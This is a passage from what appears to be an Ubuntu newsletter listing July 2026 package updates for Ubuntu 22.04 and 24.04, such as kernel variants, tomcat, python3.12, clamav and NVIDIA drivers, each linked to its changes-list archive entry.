<li>linux-restricted-signatures-gcp 5.15.0-1112.122 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047377.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047377.html</a></li>
<li>clamav-cvdupdate 1.2.0-1~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047378.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047378.html</a></li>
<li>libidn 1.38-4ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047380.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047380.html</a></li>
<li>libraw 0.20.2-2ubuntu2.22.04.3 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047381.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047381.html</a></li>
<li>libsoup2.4 2.74.2-3ubuntu0.7 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047382.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047382.html</a></li>
<li>tzdata 2026b-0ubuntu0.22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047386.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047386.html</a></li>
<li>linux-meta-nvidia 5.15.0.1107.107 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047387.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047387.html</a></li>
<li>linux-nvidia 5.15.0-1107.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047388.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047388.html</a></li>
<li>linux-signed-nvidia 5.15.0-1107.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047389.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047389.html</a></li>
<li>linux-restricted-modules-nvidia 5.15.0-1107.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047390.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047390.html</a></li>
<li>linux-restricted-signatures-nvidia 5.15.0-1107.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047391.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047391.html</a></li>
<li>google-osconfig-agent 20251028.00-0ubuntu2~22.04.0 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047392.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047392.html</a></li>
<li>google-compute-engine-oslogin 20260116.00-0ubuntu1~22.04.0 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047393.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047393.html</a></li>
<li>gce-compute-image-packages 20260116.00-0ubuntu1~22.04.0 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047394.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047394.html</a></li>
<li>fwupd 2.0.20-1ubuntu2~22.04.2 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047395.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047395.html</a></li>
<li>virt-firmware 24.1.1-2~ubuntu22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047396.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047396.html</a></li>
<li>ubuntu-release-upgrader 1:22.04.21 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047397.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047397.html</a></li>
<li>linux-raspi 5.15.0-1105.108 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047398.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047398.html</a></li>
<li>linux-meta-raspi 5.15.0.1105.103 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047399.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047399.html</a></li>
<li>linux-xilinx-zynqmp 5.15.0-1074.78 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047400.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047400.html</a></li>
<li>linux-meta-xilinx-zynqmp 5.15.0.1074.77 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047401.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047401.html</a></li>
<li>linux-meta-hwe-6.8 6.8.0-134.134~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047402.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047402.html</a></li>
<li>linux-signed-hwe-6.8 6.8.0-134.134~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047403.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047403.html</a></li>
<li>linux-restricted-signatures-hwe-6.8 6.8.0-134.134~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047404.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047404.html</a></li>
<li>linux-restricted-modules-hwe-6.8 6.8.0-134.134~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047405.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047405.html</a></li>
<li>linux-hwe-6.8 6.8.0-134.134~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047406.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047406.html</a></li>
<li>linux-signed-azure-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047407.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047407.html</a></li>
<li>linux-meta-azure-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047408.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047408.html</a></li>
<li>linux-restricted-signatures-azure-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047409.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047409.html</a></li>
<li>linux-restricted-modules-azure-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047410.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047410.html</a></li>
<li>linux-meta-azure-fde-6.8 6.8.0-1061.68~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047411.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047411.html</a></li>
<li>linux-signed-azure-fde-6.8 6.8.0-1061.68~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047412.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047412.html</a></li>
<li>linux-restricted-modules-azure-fde-6.8 6.8.0-1061.68~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047413.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047413.html</a></li>
<li>linux-restricted-signatures-azure-fde-6.8 6.8.0-1061.68~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047414.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047414.html</a></li>
<li>linux-azure-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047415.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047415.html</a></li>
<li>linux-azure-fde-6.8 6.8.0-1061.68~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047416.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047416.html</a></li>
<li>linux-azure-fde-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047417.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047417.html</a></li>
<li>linux-meta-azure-fde-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047418.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047418.html</a></li>
<li>linux-signed-azure-fde-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047419.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047419.html</a></li>
<li>linux-restricted-modules-azure-fde-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047420.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047420.html</a></li>
<li>linux-restricted-signatures-azure-fde-6.8 6.8.0-1062.69~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047421.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047421.html</a></li>
<li>linux-nvidia-6.8 6.8.0-1059.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047422.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047422.html</a></li>
<li>linux-meta-nvidia-6.8 6.8.0-1059.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047423.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047423.html</a></li>
<li>linux-signed-nvidia-6.8 6.8.0-1059.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047424.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047424.html</a></li>
<li>linux-restricted-signatures-nvidia-6.8 6.8.0-1059.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047425.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047425.html</a></li>
<li>linux-restricted-modules-nvidia-6.8 6.8.0-1059.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047426.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047426.html</a></li>
<li>linux-ibm-6.8 6.8.0-1061.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047427.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047427.html</a></li>
<li>linux-meta-ibm-6.8 6.8.0-1061.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047428.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047428.html</a></li>
<li>linux-signed-ibm-6.8 6.8.0-1061.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047429.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047429.html</a></li>
<li>linux-restricted-modules-ibm-6.8 6.8.0-1061.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047430.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047430.html</a></li>
<li>linux-restricted-signatures-ibm-6.8 6.8.0-1061.62~22.04.1 - <a href="https://lists.ubuntu.com/archives/jammy-changes/2026-July/047431.html">https://lists.ubuntu.com/archives/jammy-changes/2026-July/047431.html</a></li>
</ul>
<p>End of Standard Support: April 2027</p>
<h3><a name="p-220290-ubuntu-2404-updates-44" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2404-updates-44"></a>Ubuntu 24.04 Updates</h3>
<ul>
<li>linux-lowlatency 6.8.0-136.136.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057096.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057096.html</a></li>
<li>linux-meta-lowlatency 6.8.0-136.136.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057097.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057097.html</a></li>
<li>linux-signed-lowlatency 6.8.0-136.136.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057098.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057098.html</a></li>
<li>linux-restricted-signatures-lowlatency 6.8.0-136.136.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057099.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057099.html</a></li>
<li>linux-restricted-modules-lowlatency 6.8.0-136.136.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057100.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057100.html</a></li>
<li>tomcat-native 2.0.14-1~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057101.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057101.html</a></li>
<li>tomcat10 10.1.55-1ubuntu2~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057102.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057102.html</a></li>
<li>tomcat9 9.0.118-1~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057103.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057103.html</a></li>
<li>python3.12 3.12.3-1ubuntu0.15 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057104.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057104.html</a></li>
<li>tar 1.35+dfsg-3ubuntu0.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057105.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057105.html</a></li>
<li>socat 1.8.0.0-4ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057106.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057106.html</a></li>
<li>gzip 1.12-1ubuntu3.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057107.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057107.html</a></li>
<li>linux-meta-raspi 6.8.0-1060.64 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057112.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057112.html</a></li>
<li>linux-raspi 6.8.0-1060.64 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057113.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057113.html</a></li>
<li>linux-azure-fde 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057114.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057114.html</a></li>
<li>linux-meta-azure-fde 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057115.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057115.html</a></li>
<li>linux-restricted-signatures-azure-fde 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057116.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057116.html</a></li>
<li>linux-signed-azure-fde 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057117.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057117.html</a></li>
<li>linux-azure 6.8.0-1063.71 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057118.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057118.html</a></li>
<li>linux-restricted-signatures-azure 6.8.0-1063.71 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057119.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057119.html</a></li>
<li>linux-restricted-modules-azure 6.8.0-1063.71 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057120.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057120.html</a></li>
<li>linux-restricted-modules-azure-fde 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057121.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057121.html</a></li>
<li>linux-signed-azure 6.8.0-1063.71 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057122.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057122.html</a></li>
<li>linux-meta-azure 6.8.0-1063.71 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057123.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057123.html</a></li>
<li>libinput 1.25.0-1ubuntu3.5 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057124.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057124.html</a></li>
<li>mutter 46.2-1ubuntu0.24.04.16 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057125.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057125.html</a></li>
<li>linux-nvidia 6.8.0-1059.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057126.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057126.html</a></li>
<li>linux-meta-nvidia 6.8.0-1059.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057127.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057127.html</a></li>
<li>linux-signed-nvidia 6.8.0-1059.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057128.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057128.html</a></li>
<li>linux-restricted-modules-nvidia 6.8.0-1059.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057129.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057129.html</a></li>
<li>linux-restricted-signatures-nvidia 6.8.0-1059.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057130.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057130.html</a></li>
<li>apache2 2.4.58-1ubuntu8.15 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057131.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057131.html</a></li>
<li>clamav 1.5.3+dfsg-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057132.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057132.html</a></li>
<li>snapd 2.76+ubuntu24.04 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057133.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057133.html</a></li>
<li>valkey 7.2.13+dfsg1-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057136.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057136.html</a></li>
<li>sssd 2.9.4-1.1ubuntu6.6 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057137.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057137.html</a></li>
<li>edk2 2024.02-2ubuntu0.9 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057138.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057138.html</a></li>
<li>mailcap 3.70+nmu1ubuntu1.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057139.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057139.html</a></li>
<li>libfprint 1:1.94.7+tod1-0ubuntu5~24.04.8 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057140.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057140.html</a></li>
<li>open-vm-tools 2:13.0.10-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057141.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057141.html</a></li>
<li>qemu 1:8.2.2+ds-0ubuntu1.18 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057142.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057142.html</a></li>
<li>tzdata 2026b-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057143.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057143.html</a></li>
<li>webkit2gtk 2.52.3-0ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057144.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057144.html</a></li>
<li>linux-vmware-6.17 6.17.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057145.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057145.html</a></li>
<li>linux-meta-vmware-6.17 6.17.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057146.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057146.html</a></li>
<li>linux-signed-vmware-6.17 6.17.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057147.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057147.html</a></li>
<li>linux-restricted-modules-vmware-6.17 6.17.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057148.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057148.html</a></li>
<li>linux-restricted-signatures-vmware-6.17 6.17.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057149.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057149.html</a></li>
<li>linux-vmware 6.8.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057150.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057150.html</a></li>
<li>linux-meta-vmware 6.8.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057151.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057151.html</a></li>
<li>linux-signed-vmware 6.8.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057152.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057152.html</a></li>
<li>linux-restricted-signatures-vmware 6.8.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057153.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057153.html</a></li>
<li>linux-restricted-modules-vmware 6.8.0-1004.4 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057154.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057154.html</a></li>
<li>fabric-manager-535 535.309.01-0ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057155.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057155.html</a></li>
<li>fabric-manager-580 580.173.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057156.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057156.html</a></li>
<li>libnvidia-nscq-535 535.309.01-0ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057157.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057157.html</a></li>
<li>libnvidia-nscq-580 580.173.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057158.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057158.html</a></li>
<li>nvidia-imex-580 580.173.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057159.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057159.html</a></li>
<li>nvidia-graphics-drivers-580 580.173.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057160.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057160.html</a></li>
<li>nvidia-graphics-drivers-595 595.84-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057161.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057161.html</a></li>
<li>nvidia-graphics-drivers-610 610.43.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057162.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057162.html</a></li>
<li>nvidia-graphics-drivers-580-server 580.173.02-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057163.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057163.html</a></li>
<li>nvidia-graphics-drivers-535 535.309.01-0ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057164.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057164.html</a></li>
<li>nvidia-graphics-drivers-535-server 535.309.01-0ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057165.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057165.html</a></li>
<li>linux-gkeop 6.8.0-1046.50 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057168.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057168.html</a></li>
<li>linux-meta-gkeop 6.8.0-1046.50 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057167.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057167.html</a></li>
<li>linux-signed-gkeop 6.8.0-1046.50 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057169.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057169.html</a></li>
<li>clamav-cvdupdate 1.2.0-1~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057170.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057170.html</a></li>
<li>linux-azure-fde-6.17 6.17.0-1018.18~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057171.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057171.html</a></li>
<li>linux-signed-azure-fde-6.17 6.17.0-1018.18~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057172.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057172.html</a></li>
<li>linux-meta-azure-fde-6.17 6.17.0-1018.18~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057173.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057173.html</a></li>
<li>linux-restricted-signatures-azure-fde-6.17 6.17.0-1018.18~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057174.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057174.html</a></li>
<li>linux-restricted-modules-azure-fde-6.17 6.17.0-1018.18~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057175.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057175.html</a></li>
<li>libidn 1.42-1ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057177.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057177.html</a></li>
<li>libraw 0.21.2-2.1ubuntu0.24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057178.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057178.html</a></li>
<li>libsoup2.4 2.74.3-6ubuntu1.7 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057179.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057179.html</a></li>
<li>linux-gcp-6.17 6.17.0-1021.24~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057184.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057184.html</a></li>
<li>linux-meta-gcp-6.17 6.17.0-1021.24~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057183.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057183.html</a></li>
<li>linux-signed-gcp-6.17 6.17.0-1021.24~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057185.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057185.html</a></li>
<li>linux-restricted-signatures-gcp-6.17 6.17.0-1021.24~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057186.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057186.html</a></li>
<li>linux-restricted-modules-gcp-6.17 6.17.0-1021.24~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057187.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057187.html</a></li>
<li>tzdata 2026b-0ubuntu0.24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057188.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057188.html</a></li>
<li>apport 2.28.2-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057189.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057189.html</a></li>
<li>python-os-brick 6.7.0-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057190.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057190.html</a></li>
<li>google-compute-engine-oslogin 20260116.00-0ubuntu1~24.04.0 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057191.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057191.html</a></li>
<li>gce-compute-image-packages 20260116.00-0ubuntu1~24.04.0 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057192.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057192.html</a></li>
<li>google-osconfig-agent 20251028.00-0ubuntu2~24.04.0 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057193.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057193.html</a></li>
<li>alsa-ucm-conf 1.2.10-1ubuntu5.13 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057194.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057194.html</a></li>
<li>fwupd 2.0.20-1ubuntu2~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057195.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057195.html</a></li>
<li>libheif 1.17.6-1ubuntu4.5 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057196.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057196.html</a></li>
<li>plymouth 24.004.60-1ubuntu7.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057197.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057197.html</a></li>
